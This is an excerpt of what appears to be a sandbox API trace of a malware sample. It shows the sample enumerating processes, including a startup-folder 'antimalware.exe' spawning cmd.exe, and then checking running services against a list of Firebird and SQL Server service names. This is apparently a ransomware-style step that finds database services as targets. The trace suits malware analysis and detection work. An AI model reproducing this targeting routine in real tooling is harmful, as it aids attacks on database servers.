	[0040.747] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0040.747] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0040.747] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0040.748] lstrlenW (lpString="taskhostw.exe") returned 13
	[0040.748] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0040.748] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0040.748] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0040.749] lstrlenW (lpString="UsoClient.exe") returned 13
	[0040.749] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0040.750] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0040.750] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0040.750] lstrlenW (lpString="taskhostw.exe") returned 13
	[0040.750] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0040.879] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0040.879] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0040.880] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0040.880] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0040.881] lstrlenW (lpString="msoia.exe") returned 9
	[0040.881] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0040.881] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0040.881] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0040.883] lstrlenW (lpString="msoia.exe") returned 9
	[0040.883] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="roof.exe")) returned 1
	[0040.884] lstrlenW (lpString="roof.exe") returned 8
	[0040.884] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="minority-weird-increases.exe")) returned 1
	[0040.885] lstrlenW (lpString="minority-weird-increases.exe") returned 28
	[0040.885] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="halloween_french_yugoslavia.exe")) returned 1
	[0040.886] lstrlenW (lpString="halloween_french_yugoslavia.exe") returned 31
	[0040.886] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1
	[0040.886] lstrlenW (lpString="cause.exe") returned 9
	[0040.886] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="occasionstax.exe")) returned 1
	[0040.887] lstrlenW (lpString="occasionstax.exe") returned 16
	[0040.887] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="distributors.exe")) returned 1
	[0040.888] lstrlenW (lpString="distributors.exe") returned 16
	[0040.888] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="month utilities transmit.exe")) returned 1
	[0040.889] lstrlenW (lpString="month utilities transmit.exe") returned 28
	[0040.889] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rand.exe")) returned 1
	[0040.889] lstrlenW (lpString="rand.exe") returned 8
	[0040.889] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikely.exe")) returned 1
	[0040.890] lstrlenW (lpString="unlikely.exe") returned 12
	[0040.890] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forever_adipex_transcript.exe")) returned 1
	[0040.891] lstrlenW (lpString="forever_adipex_transcript.exe") returned 29
	[0040.891] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion.exe")) returned 1
	[0040.892] lstrlenW (lpString="promotion.exe") returned 13
	[0040.892] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upset-vt-promoting.exe")) returned 1
	[0040.893] lstrlenW (lpString="upset-vt-promoting.exe") returned 22
	[0040.893] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charlie_sperm_new.exe")) returned 1
	[0040.894] lstrlenW (lpString="charlie_sperm_new.exe") returned 21
	[0040.894] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cagesymbol.exe")) returned 1
	[0040.895] lstrlenW (lpString="cagesymbol.exe") returned 14
	[0040.895] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bad-length.exe")) returned 1
	[0040.896] lstrlenW (lpString="bad-length.exe") returned 14
	[0040.896] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unit.exe")) returned 1
	[0040.896] lstrlenW (lpString="unit.exe") returned 8
	[0040.896] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="parents.exe")) returned 1
	[0040.897] lstrlenW (lpString="parents.exe") returned 11
	[0040.897] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charge.exe")) returned 1
	[0040.899] lstrlenW (lpString="charge.exe") returned 10
	[0040.899] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measures-provision.exe")) returned 1
	[0040.899] lstrlenW (lpString="measures-provision.exe") returned 22
	[0040.899] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0040.901] lstrlenW (lpString="dllhost.exe") returned 11
	[0040.901] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0040.902] lstrlenW (lpString="conhost.exe") returned 11
	[0040.902] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0040.903] lstrlenW (lpString="conhost.exe") returned 11
	[0040.903] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0040.903] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0040.903] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0040.904] lstrlenW (lpString="cmd.exe") returned 7
	[0040.904] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0040.905] lstrlenW (lpString="conhost.exe") returned 11
	[0040.905] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0040.906] lstrlenW (lpString="svchost.exe") returned 11
	[0040.906] Process32NextW (in: hSnapshot=0x2c8, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0
	[0040.906] CloseHandle (hObject=0x2c8) returned 1
	[0040.906] Sleep (dwMilliseconds=0x1f4) 
	[0041.617] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x68fd28
	[0041.618] EnumServicesStatusExW (in: hSCManager=0x68fd28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0041.618] GetLastError () returned 0xea
	[0041.618] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1c2a) returned 0x6ae150
	[0041.618] EnumServicesStatusExW (in: hSCManager=0x68fd28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6ae150, cbBufSize=0x1c2a, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6ae150, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0041.626] CloseServiceHandle (hSCObject=0x68fd28) returned 1
	[0041.627] lstrlenW (lpString="Appinfo") returned 7
	[0041.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0041.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0041.627] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0041.627] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0041.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0041.627] lstrlenW (lpString="AppXSvc") returned 7
	[0041.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0041.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0041.627] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0041.627] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0041.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0041.627] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0041.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0041.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0041.627] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0041.627] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0041.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0041.627] lstrlenW (lpString="Audiosrv") returned 8
	[0041.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0041.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0041.627] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0041.627] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0041.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0041.627] lstrlenW (lpString="BFE") returned 3
	[0041.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0041.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0041.627] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0041.627] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0041.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0041.627] lstrlenW (lpString="BITS") returned 4
	[0041.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0041.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0041.627] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0041.627] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0041.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0041.628] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0041.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0041.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0041.628] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0041.628] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0041.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0041.628] lstrlenW (lpString="CDPSvc") returned 6
	[0041.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0041.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0041.628] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0041.628] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0041.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0041.628] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0041.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0041.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0041.628] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0041.628] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0041.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0041.628] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0041.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0041.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0041.628] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0041.628] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0041.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0041.628] lstrlenW (lpString="CryptSvc") returned 8
	[0041.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0041.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0041.628] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0041.628] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0041.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0041.628] lstrlenW (lpString="DcomLaunch") returned 10
	[0041.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0041.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0041.628] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0041.629] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0041.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0041.629] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0041.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0041.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0041.629] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0041.629] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0041.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0041.629] lstrlenW (lpString="Dhcp") returned 4
	[0041.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0041.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0041.629] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0041.629] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0041.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0041.629] lstrlenW (lpString="Dnscache") returned 8
	[0041.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0041.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0041.629] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0041.629] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0041.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0041.629] lstrlenW (lpString="DPS") returned 3
	[0041.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0041.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0041.629] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0041.629] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0041.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0041.629] lstrlenW (lpString="DusmSvc") returned 7
	[0041.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0041.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0041.629] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0041.629] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0041.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0041.629] lstrlenW (lpString="EventLog") returned 8
	[0041.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0041.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0041.629] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0041.629] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0041.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0041.629] lstrlenW (lpString="EventSystem") returned 11
	[0041.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0041.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0041.630] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0041.630] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0041.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0041.630] lstrlenW (lpString="FontCache") returned 9
	[0041.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0041.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0041.630] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0041.630] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0041.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0041.630] lstrlenW (lpString="gpsvc") returned 5
	[0041.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0041.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0041.630] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0041.630] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0041.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0041.630] lstrlenW (lpString="iphlpsvc") returned 8
	[0041.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0041.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0041.630] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0041.630] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
